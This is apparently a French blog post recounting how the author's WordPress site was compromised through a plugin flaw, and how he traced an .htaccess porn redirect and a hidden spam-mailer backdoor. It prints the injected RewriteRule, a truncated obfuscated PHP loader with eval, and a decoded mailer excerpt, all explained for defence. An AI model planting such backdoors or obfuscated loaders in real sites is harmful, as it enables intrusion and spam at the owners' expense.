Mon serveur s’est fait hacker

Je ne sais pas si vous vous souvenez, mais en 2014, mon wordpress s’est fait pirater. Je m’en suis rendu compte parce que les performances de mon serveur étaient dégradées.

Ça s’est traduit par deux attaques :

  • Mon site redirigeait vers des sites porno
    • Injection de code dans mes fichiers .htaccess
  • Mes logs système montraient des envois de mail en masse à certains moments de la journée
    • Injection de code dans des fichiers PHP puis exploitation pour bombarder des mails

Au début, en cherchant je n’ai rien trouvé. J’ai juste remarqué que mon site redirigeait les utilisateurs vers des sites pornos mais uniquement depuis un mobile. J’ai regardé mes .htaccess et j’ai trouvé des lignes injectées dedans. Je les ai supprimées et je suis passé à autre chose.

Puis la redirection vers les sites pornos est revenue. J’ai de nouveau retrouvé ces lignes dans mes fichiers .htaccess. Cette fois-ci, j’ai fait une petite recherche sur internet pour savoir si d’autres personnes avaient ce problème : redirection htaccess vers l’url qui était mentionnée dans le htaccess ou qui se trouvait dans mon navigateur après redirection. C’est là que j’ai découvert la faille : il s’avère que le plugin qui me servait à faire des newsletters (MailPoet je crois) avait une faille et permettait à n’importe qui de créer des fichiers ou d’injecter du code dans des pages PHP existantes de mon site (ou n’importe quel fichier en fait). Je l’ai désinstallé immédiatement, mais ensuite j’ai cherché à savoir ce qui s’était passé sur mon serveur.

La redirection vers des sites pornos

J’avais corrigé mon .htaccess mais visiblement le code revenait. Comment ? Dans mon htaccess je retrouvais des lignes du type :

RewriteRule ^$ http://luxurytds.com/go.php?sid=1 [R,L]

Ce qu’il me restait à déterminer ;

  • Quels autres fichiers sont infectés ?
  • Comment le code malicieux revient alors que je le supprime ?

J’ai donc fait une recherche sur tous mes fichiers contenus dans le wordpress afin de retrouver la chaîne injectée “luxury” :

grep -H -r luxury .

J’ai trouvé deux choses :

  • D’autres fichiers infectés contenant le “RewriteRule” causant la redirection (des fichiers .htaccess mais aussi des fichiers PHP, c’est là qu’on voit que c’est fait à l’aveugle parce que je ne vois pas pourquoi le gars met un RewriteRule dans un fichier PHP, ça ne va rien faire à priori)
  • Des fichiers PHP contenant le code suivant :
if (strstr($old, 'RewriteRule ^$ http://luxurytds.com/go.php?sid=1 [R,L]'))

En gros, ce code sert à injecter la règle de redirection vers les sites pornos. Comment il s’est retrouvé là ? C’est une autre histoire.

 

Le bombardement mail

La partie redirection vers du porno ayant été réglée (j’avais compris qu’ils avaient injecté du code dans mes htaccess), je me suis mis à chercher comment mon serveur bombardait des mails. Pour l’heure je n’avais pas de piste de recherche, si ce n’est mes logs système. Je remarquais des envois incessants de mails à certaines heures de la journée. Je me suis donc dit qu’il y avait une “backdoor” dans mon wordpress placée grâce à de l’injection de code. En gros le pirate a placé du code lui permettant de faire faire des choses à mon serveur sans trop de difficultés, juste en allant sur une page précise de mon site. Comment la retrouver ?

Si on part du principe que le pirate accède à une page web pour envoyer ses mails, ça veut dire qu’à l’heure où je trouve des envois de mails par centaines dans mes logs, je dois trouver des centaines d’accès à une ou plusieurs pages web en particulier sur mon site. Comme je n’ai pas énormément de visiteurs, ça a été assez facile de trouver. Voici un exemple :

146.185.239.51 - - [06/Dec/2014:09:11:09 +0100] "POST /wp-content/uploads/2014/02/.article2.php HTTP/1.1" 200 - "-" "Mozilla/5.0 (Windows NT 6.3; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0"

La ligne ci-dessus est juste un minuscule exemple parmi le nombre énorme d’appels à ce genre de pages que j’ai trouvé. Une page “article2.php” dans un dossier qui sert à importer des pièces jointe ? Mouais c’est louche. Et en plus le nom du fichier est précédé d’un point, ce qui veut dire qu’il est caché. J’ouvre le fichier, et je découvre du code du style de celui-ci, soit caché en bas du fichier, soit tout en haut mais précédé par des dizaines de tabulations, les rendant “invisibles” au premier coup d’oeil rapide dans un éditeur de texte en ligne de commandes :

<?php
$vHLFRUI = Array('1'=>'J', '0'=>'5', '3'=>'p', '2'=>'U', '5'=>'b', '4'=>'y', '7'=>'X', '6'=>'Z', '9'=>'u', '8'=>'9', 'A'=>'F', 'C'=>'1', 'B'=>'h', 'E'=>'W', 'D'=>'C', 'G'=>'6', 'F'=>'j', 'I'=>'0', 'H'=>'z', 'K'=>'B', 'J'=>'c', 'M'=>'7', 'L'=>'N', 'O'=>'r', 'N'=>'V', 'Q'=>'k', 'P'=>'g', 'S'=>'E', 'R'=>'m', 'U'=>'x', 'T'=>'3', 'W'=>'D', 'V'=>'l', 'Y'=>'O', 'X'=>'8', 'Z'=>'q', 'a'=>'i', 'c'=>'H', 'b'=>'o', 'e'=>'2', 'd'=>'Q', 'g'=>'S', 'f'=>'R', 'i'=>'4', 'h'=>'L', 'k'=>'t', 'j'=>'e', 'm'=>'K', 'l'=>'d', 'o'=>'n', 'n'=>'s', 'q'=>'a', 'p'=>'T', 's'=>'w', 'r'=>'v', 'u'=>'M', 't'=>'A', 'w'=>'P', 'v'=>'I', 'y'=>'f', 'x'=>'G', 'z'=>'Y');
function vCJJNL2($vNEY9LE, $vXQTQ9D){$vXGJCZC = ''; for($i=0; $i < strlen($vNEY9LE); $i++){$vXGJCZC .= isset($vXQTQ9D[$vNEY9LE[$i]]) ? $vXQTQ9D[$vNEY9LE[$i]] : $vNEY9LE[$i];}
return base64_decode($vXGJCZC);}
$vIQ8UNC = 'DRVRmxVHJeNImDfy2S8pNAnaze8Q6g1lmgtR1aK3JTLVlDPQ7CKw2Cf5vRLCJTfr5N8BzTf35eia7gQP1azPq7Ly6e8'.
'r6A83JDPQ7CLA2V6A2Vno2QNLpCfA7IASfAvo7gQ3DonmDENezEsbzRAH6pzI7efVze8Q6gPQ7'.
'CKw2Cf5vRLr6x2a7gQ3Ysb167B3lDP3Ys38DP336atbq7LH67db1A8dpCL2E'.

Si on prend la première partie :

$vHLFRUI = Array('1'=>'J', '0'=>'5', '3'=>'p', '2'=>'U', '5'=>'b', '4'=>'y', '7'=>'X', '6'=>'Z', '9'=>'u', '8'=>'9', 'A'=>'F', 'C'=>'1', 'B'=>'h', 'E'=>'W', 'D'=>'C', 'G'=>'6', 'F'=>'j', 'I'=>'0', 'H'=>'z', 'K'=>'B', 'J'=>'c', 'M'=>'7', 'L'=>'N', 'O'=>'r', 'N'=>'V', 'Q'=>'k', 'P'=>'g', 'S'=>'E', 'R'=>'m', 'U'=>'x', 'T'=>'3', 'W'=>'D', 'V'=>'l', 'Y'=>'O', 'X'=>'8', 'Z'=>'q', 'a'=>'i', 'c'=>'H', 'b'=>'o', 'e'=>'2', 'd'=>'Q', 'g'=>'S', 'f'=>'R', 'i'=>'4', 'h'=>'L', 'k'=>'t', 'j'=>'e', 'm'=>'K', 'l'=>'d', 'o'=>'n', 'n'=>'s', 'q'=>'a', 'p'=>'T', 's'=>'w', 'r'=>'v', 'u'=>'M', 't'=>'A', 'w'=>'P', 'v'=>'I', 'y'=>'f', 'x'=>'G', 'z'=>'Y');

Ici, le pirate défini un tableau associatif. Dans ce tableau, il définit pour chaque chiffre et chaque lettre de l’alphabet (minuscule et majuscule) une autre lettre ou un autre chiffre correspondant. Par exemple, ici, si on cherche dans ce tableau le chiffre “1”, on aura comme résultat la lettre “J”. Si on cherche la lettre “c”, le tableau nous renverra “H”.

Ensuite :

function vCJJNL2($vNEY9LE, $vXQTQ9D){
   $vXGJCZC = ''; 
   for($i=0; $i < strlen($vNEY9LE); $i++) {
      $vXGJCZC .= isset($vXQTQ9D[$vNEY9LE[$i]]) ? $vXQTQ9D[$vNEY9LE[$i]] : $vNEY9LE[$i];
   }
   return base64_decode($vXGJCZC);
}

Ici le pirate définit une fonction (ligne 1). Celle-ci prend deux paramètres en entrée ($vNEY9LE et $vXQTQ9D). Nous verrons plus tard d’où ils viennent.

Ensuite il définit une nouvelle variable ($vXGJCZC) avec laquelle il va travailler (ligne 2).

Il crée une boucle (ligne 3), et dans cette boucle il va parcourir le contenu du paramètre $vNEY9LE qui est passé en paramètre de sa fonction. Admettons que $vNEY9LE soit une chaîne de caractères, alors sa boucle va lui permettre de parcourir un par un chaque caractère de cette chaîne.

C’est à la ligne 4 que tout se passe : pour chacun des caractères de cette chaîne, il va vérifier dans le tableau qui est passé comme 2ème paramètre de la fonction si ce caractère y est contenu. Si ce caractère est contenu dans le tableau, alors il récupère la valeur correspondante.

Vous commencez à voir où je veux en venir ? La chaîne de caractère sur laquelle il boucle sur chacune des lettres, c’est le texte incompréhensible du script (à partir de la ligne 5, entre les guillemets), et le tableau dans lequel il va effectuer son marché, c’est le tableau associatif créé au début. En gros, ce texte incompréhensible contenu dans le script, il va le traduire en un autre texte grâce à son tableau.

Si on traduit quelques caractères selon son tableau, ça donne :

"CmlmKGlzc2V0KCRfUE9TV..."

Bon. Notre pirate traduit une chaîne de caractère incompréhensible en une autre chaîne de caractère qui n’a aucun sens elle non plus. On commence à se demander s’il ne vient pas d’une autre planète.

Eh bien non, car à la fin de la fonction, il y a :

return base64_decode($vXGJCZC);

Cette chaîne de caractères, décodée grâce au tableau associatif, est en fait en base 64. Nous sommes en base 10, le pirate retransforme donc tout ce bloubi-boulga en quelque chose de compréhensible par l’homme :

if(isset($_POS

Hum, tiens tiens, on dirait du PHP. Bon, on va continuer l’analyse du script que j’ai trouvé sur mon serveur avant d’essayer de tout décoder. A la fin du fichier, il y a :

eval(vCJJNL2($vIQ8UNC, $vHLFRUI));?>

Ah.

La fonction eval exécute en PHP la chaîne de caractère qu’on lui donne à manger. Si on regarde bien, notre pirate passe à la fonction eval la fonction que nous avons décortiqué plus haut. Et cette fonction décode du texte incompréhensible en code PHP. Code PHP qui est ensuite exécuté par la fonction eval.

Mince.

Si on décode un peu notre chaîne en base 64 de tout à l’heure pour voir ce que ça raconte, on a quelque chose comme cet extrait :

$emails = @unserialize(base64_decode($_POST["emails"])); 
$themes = @unserialize(base64_decode($_POST["themes"])); 
$messages = @unserialize(base64_decode($_POST["messages"])); 
$froms = @unserialize(base64_decode($_POST["froms"])); 
$mailers = @unserialize(base64_decode($_POST["mailers"])); 
$aliases = @unserialize(base64_decode($_POST["aliases"])); 
$passes = @unserialize(base64_decode($_POST["passes"]));

Je vous passe les détails, mais en gros notre pirate appelle la page PHP que nous avons trouvé sur notre serveur en lui passant en paramètre des adresses email, des messages, etc.

Sans même aller plus loin, on se rend compte que c’est de cette manière qu’un pirate est capable d’envoyer du spam mail à partir de notre serveur. On déplace donc ce fichier dans un endroit sûr afin de pouvoir l’analyser tranquillement plus tard et éviter que n’importe qui puisse y accéder depuis internet.

Sauf que dans les logs de mon serveur j’ai remarqué beaucoup d’appels à des pages différentes de ce style, et après en avoir déplacé quelques unes, le spam mail ne s’est pas arrêté. J’ai donc fait une recherche en masse sur tous les fichiers de mon wordpress pour trouver tous ceux qui contenaient la fonction “base64_decode” puisque c’est la technique qu’utilise le pirate pour cacher son code malicieux. J’ai également cherché “eval” juste au cas où.

Et là, j’en ai trouvé un sacré nombre, des fichiers infectés. Certains contenaient le même type de code (envoyer des mails), mais d’autres contenaient uniquement du code qui servait a exécuter n’importe quel code PHP envoyé par le pirate. C’est ça qui leur permettait de réinjecter du code régulièrement un peu partout.

Foutu pour foutu, j’ai essayé d’espionner ces pirates. J’ai ajouté du code dans certains de ces fichiers afin de sauvegarder dans un fichier texte ce que les pirates envoyaient comme code. Quelques heures, quelques jours et toujours aucune trace… J’ai donc décidé d’injecter en masse dans tous mes fichiers infectés (parmi lesquels des fichiers système de wordpress ou des pages légitimes qui servaient vraiment à quelque chose), et c’est là que j’ai cassé mon site.

Je suis donc reparti de zéro et voilà.

A noter que depuis ce temps là, mon opérateur m’a bloqué le port 25 vers son serveur SMTP et je n’ai toujours pas réussi à le faire rouvrir avec le support téléphonique…

J’espère que ça vous aura servi.

Loading Likes...

Leave a Reply

Your email address will not be published. Required fields are marked *